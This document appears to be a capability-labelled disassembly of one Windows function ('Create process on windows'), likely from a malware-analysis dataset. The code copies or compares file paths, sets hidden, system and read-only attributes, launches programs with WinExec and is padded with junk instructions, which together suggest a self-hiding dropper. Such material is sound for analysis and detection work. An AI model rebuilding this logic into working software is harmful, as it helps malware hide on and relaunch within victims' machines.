Function at 0x44e440
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x54
push 0
push 0
dec ecx
jne 0x44e448
push ecx
push ebx
push esi
push edi
mov ebx, dword [0x45df6c]
xor eax, eax
push ebp
push 0x44ec75
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, byte [0x44ec84]
push eax
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x1dc]
call fcn.00455650
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ebx + 0x14]
mov edx, 0x44ec90
call fcn.0040dbd8
mov edx, dword [ebp - 0x1d8]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44ec84]
push eax
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x1e4]
call fcn.004556a8
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [ebx + 0x14]
mov edx, 0x44eca4
call fcn.0040dbd8
mov edx, dword [ebp - 0x1e0]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44ec84]
push eax
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x1ec]
call fcn.00455734
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [ebx + 0x14]
mov edx, 0x44ecb8
call fcn.0040dbd8
mov edx, dword [ebp - 0x1e8]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov al, byte [0x44ec84]
push eax
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x1f4]
call fcn.00455794
mov ecx, dword [ebp - 0x1f4]
mov eax, dword [ebx + 0x14]
mov edx, 0x44eccc
call fcn.0040dbd8
mov edx, dword [ebp - 0x1f0]
lea eax, [ebx + 0x14]
call fcn.00404df0
mov eax, dword [0x45e3c0]
mov eax, dword [eax]
call fcn.00409150
test al, al
je 0x44e567
mov eax, dword [0x45e3c0]
mov eax, dword [eax]
call fcn.004093b0
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x1f8]
call fcn.004050a8
mov eax, dword [ebp - 0x1f8]
call fcn.004093b0
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.004093b0
lea eax, [ebp - 0x1fc]
call fcn.00455734
lea eax, [ebp - 0x1fc]
mov edx, 0x44ece0
call fcn.00405064
mov eax, dword [ebp - 0x1fc]
call fcn.004093b0
lea edx, [ebp - 0x204]
sub eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x204]
lea edx, [ebp - 0x200]
call fcn.004087e8
mov eax, dword [ebp - 0x200]
push eax
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x20c]
call fcn.004050a8
mov eax, dword [ebp - 0x20c]
lea edx, [ebp - 0x208]
call fcn.004087e8
mov edx, dword [ebp - 0x208]
pop eax
call fcn.004051a8
je 0x44ea77
lea edx, [ebp - 0x214]
sub eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x210]
call fcn.004094c4
mov eax, dword [ebp - 0x210]
push eax
lea eax, [ebp - 0x218]
call fcn.00455650
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 4]
pop ecx
call fcn.004050a8
mov eax, dword [ebp - 4]
call fcn.00409150
test al, al
je 0x44e661
mov eax, dword [ebp - 4]
call fcn.004093b0
mov edx, dword [ebp - 4]
mov eax, 0x44ecf0
call fcn.0045887c
cmp al, 1
jne 0x44e69c
push 1
push 0x44ecf8
push 0x44ecf8
mov eax, dword [ebp - 4]
call fcn.0040525c
push eax
push 0x44ecfc
push 0
mov eax, dword [0x45e08c]
mov eax, dword [eax]
call eax
jmp 0x44e7c3
lea eax, [ebp - 0x21c]
call fcn.00455650
mov edx, dword [ebp - 0x21c]
mov ecx, dword [ebx + 0x30]
lea eax, [ebp - 4]
call fcn.004050a8
mov eax, dword [ebx + 0x30]
mov edx, 0x44ed0c
call fcn.004051a8
je 0x44e792
mov eax, dword [ebp - 4]
call fcn.00409150
test al, al
jne 0x44e792
mov edx, dword [ebp - 4]
mov eax, 0x44ed1c
call fcn.0045887c
cmp al, 1
jne 0x44e792
lea edx, [ebp - 0x220]
mov eax, 0x44ed28
call fcn.00459098
mov eax, dword [ebp - 0x220]
call fcn.0040525c
push eax
mov eax, dword [0x45e008]
mov eax, dword [eax]
call fcn.0040525c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
push eax
call fcn.00456fc4
mov edx, dword [0x45e324]
mov dword [edx], eax
lea edx, [ebp - 0x224]
mov eax, 0x44ed68
call fcn.00459098
mov eax, dword [ebp - 0x224]
call fcn.0040525c
push eax
mov eax, dword [0x45e008]
mov eax, dword [eax]
call fcn.0040525c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
push eax
call fcn.00456fc4
mov edx, dword [0x45e0c8]
mov dword [edx], eax
mov eax, dword [ebp - 4]
call fcn.0040525c
mov edi, eax
push edi
mov eax, dword [0x45e324]
mov eax, dword [eax]
call eax
push eax
pop esi
or esi, 2
or esi, 1
or esi, 4
push esi
push edi
mov eax, dword [0x45e0c8]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 4]
call fcn.00409150
test al, al
je 0x44e7c3
push 1
push 0x44ecf8
push 0x44ecf8
mov eax, dword [ebp - 4]
call fcn.0040525c
push eax
push 0x44ecfc
push 0
mov eax, dword [0x45e08c]
mov eax, dword [eax]
call eax
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.00409150
test al, al
je 0x44e7ef
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.00458f38
cmp al, 1
jne 0x44e7ef
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x44ec4a
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
call fcn.00409470
lea eax, [ebp - 0x228]
mov edx, 0x44edac
call fcn.00405064
mov eax, dword [ebp - 0x228]
mov edx, dword [ebx + 0x14]
call fcn.004051a8
je 0x44e8b2
cmp byte [ebx + 0x40], 0
je 0x44e8b2
lea eax, [ebp - 0x230]
call fcn.00455794
mov edx, dword [ebp - 0x230]
lea eax, [ebp - 8]
mov ecx, 0x44ece0
call fcn.004050a8
mov eax, dword [ebp - 8]
call fcn.0040525c
push eax
pop edx
lea eax, [ebp - 0x1d4]
call fcn.00403188
lea eax, [ebp - 0x1d4]
call fcn.00402f18
call fcn.00402b74
lea edx, [ebp - 0x234]
xor eax, eax
call fcn.00402db8
mov edx, dword [ebp - 0x234]
lea eax, [ebp - 0x1d4]
call fcn.004053f0
call fcn.00403aa0
call fcn.00402b74
lea eax, [ebp - 0x1d4]
call fcn.0040332c
call fcn.00402b74
lea edx, [ebp - 0x238]
mov eax, dword [ebx + 0x14]
call fcn.00458618
lea edx, [ebp - 0x240]
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.0040943c
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.00458618
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x244]
call fcn.004050a8
mov eax, dword [ebp - 0x244]
call fcn.004093b0
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.004093b0
mov eax, dword [0x45e364]
mov eax, dword [eax]
call fcn.00409150
test al, al
jne 0x44e95f
lea edx, [ebp - 0x24c]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x248]
mov edx, dword [0x45e364]
mov edx, dword [edx]
call fcn.0045826c
lea edx, [ebp - 0x254]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x254]
lea edx, [ebp - 0x250]
call fcn.00458660
push 0x44edb8
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44ede4
lea eax, [ebp - 0x25c]
push 3
pop edx
push esi
pop esi
call fcn.0040511c
mov eax, dword [ebp - 0x25c]
lea edx, [ebp - 0x258]
call fcn.00458fb8
mov eax, dword [ebp - 0x258]
call fcn.0043b6d0
test al, al
je 0x44e9d8
push 0x44b0cc
push 0x1f4
push 0xa
push 0
call sub.user32.dll_SetTimer
mov edx, dword [0x45dfc0]
mov dword [edx], eax
call fcn.0044def4
push 0x456984
push 0x1f4
push 0
push 0
call sub.user32.dll_SetTimer
jmp 0x44ec4a
push 0
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x260]
call fcn.004050a8
mov eax, dword [ebp - 0x260]
call fcn.0040525c
push eax
lea edx, [ebp - 0x264]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x264]
call fcn.0040525c
push eax
mov eax, dword [0x45dfb0]
mov eax, dword [eax]
call eax
jmp 0x44ea22
push 0x14
call sub.KERNEL32.DLL_Sleep_1
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x268]
call fcn.004050a8
mov eax, dword [ebp - 0x268]
call fcn.0045672c
test al, al
je 0x44ea1b
push 0
mov eax, dword [0x45e254]
mov eax, dword [eax]
call fcn.0040525c
push eax
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x26c]
call fcn.004050a8
mov eax, dword [ebp - 0x26c]
call fcn.0040525c
push eax
mov eax, dword [0x45dfb0]
mov eax, dword [eax]
call eax
lea edx, [ebp - 0x274]
xor eax, eax
call fcn.00402db8
mov eax, dword [ebp - 0x274]
lea edx, [ebp - 0x270]
call fcn.004087e8
mov eax, dword [ebp - 0x270]
push eax
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x27c]
call fcn.004050a8
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x278]
call fcn.004087e8
mov edx, dword [ebp - 0x278]
pop eax
call fcn.004051a8
je 0x44ebc9
push 0x44edf0
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44ee14
lea eax, [ebp - 0x284]
push 3
pop edx
pushal
popal
call fcn.0040511c
mov eax, dword [ebp - 0x284]
lea edx, [ebp - 0x280]
call fcn.00458fb8
mov eax, dword [ebp - 0x280]
call fcn.0043b6d0
cmp al, 1
je 0x44eb52
push 0x44ee20
mov eax, dword [0x45e3c4]
push dword [eax]
push 0x44ee14
lea eax, [ebp - 0x28c]
push 3
pop edx
nop
nop
call fcn.0040511c
mov eax, dword [ebp - 0x28c]
lea edx, [ebp - 0x288]
call fcn.00458fb8
mov eax, dword [ebp - 0x288]
call fcn.0043b6d0
cmp al, 1
jne 0x44ebc9
push dword [ebx + 0x14]
push dword [ebx + 0x10]
mov eax, dword [0x45e128]
push dword [eax]
lea eax, [ebp - 0x290]
mov edx, 3
call fcn.0040511c
mov eax, dword [ebp - 0x290]
call fcn.0040525c
call fcn.004519b4
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44ec45
push 0
push dword [ebx + 0x14]
push dword [ebx + 0x10]
mov eax, dword [0x45e128]
push dword [eax]
lea eax, [ebp - 0x294]
nop
nop
push 3
pop edx
call fcn.0040511c
mov eax, dword [ebp - 0x294]
call fcn.0040525c
push eax
call sub.KERNEL32.DLL_WinExec
jmp 0x44ec45
push 0x32
call sub.KERNEL32.DLL_Sleep_1
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x298]
call fcn.004050a8
mov eax, dword [ebp - 0x298]
call fcn.00458f38
cmp al, 1
je 0x44ebc2
push dword [ebx + 0x14]
push dword [ebx + 0x10]
push 0x44ee4c
lea eax, [ebp - 0x29c]
nop
push 3
nop
pop edx
call fcn.0040511c
mov eax, dword [ebp - 0x29c]
call fcn.0040525c
call fcn.004519b4
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44ec45
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x2a4]
call fcn.004050a8
mov eax, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x2a0]
mov edx, 0x44ee4c
call fcn.00456ccc
call fcn.00404c28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ec7c
lea eax, [ebp - 0x2a4]
pushal
popal
push 0x34
pop edx
call fcn.00404dc0
lea eax, [ebp - 8]
nop
push 2
nop
pop edx
call fcn.00404dc0
ret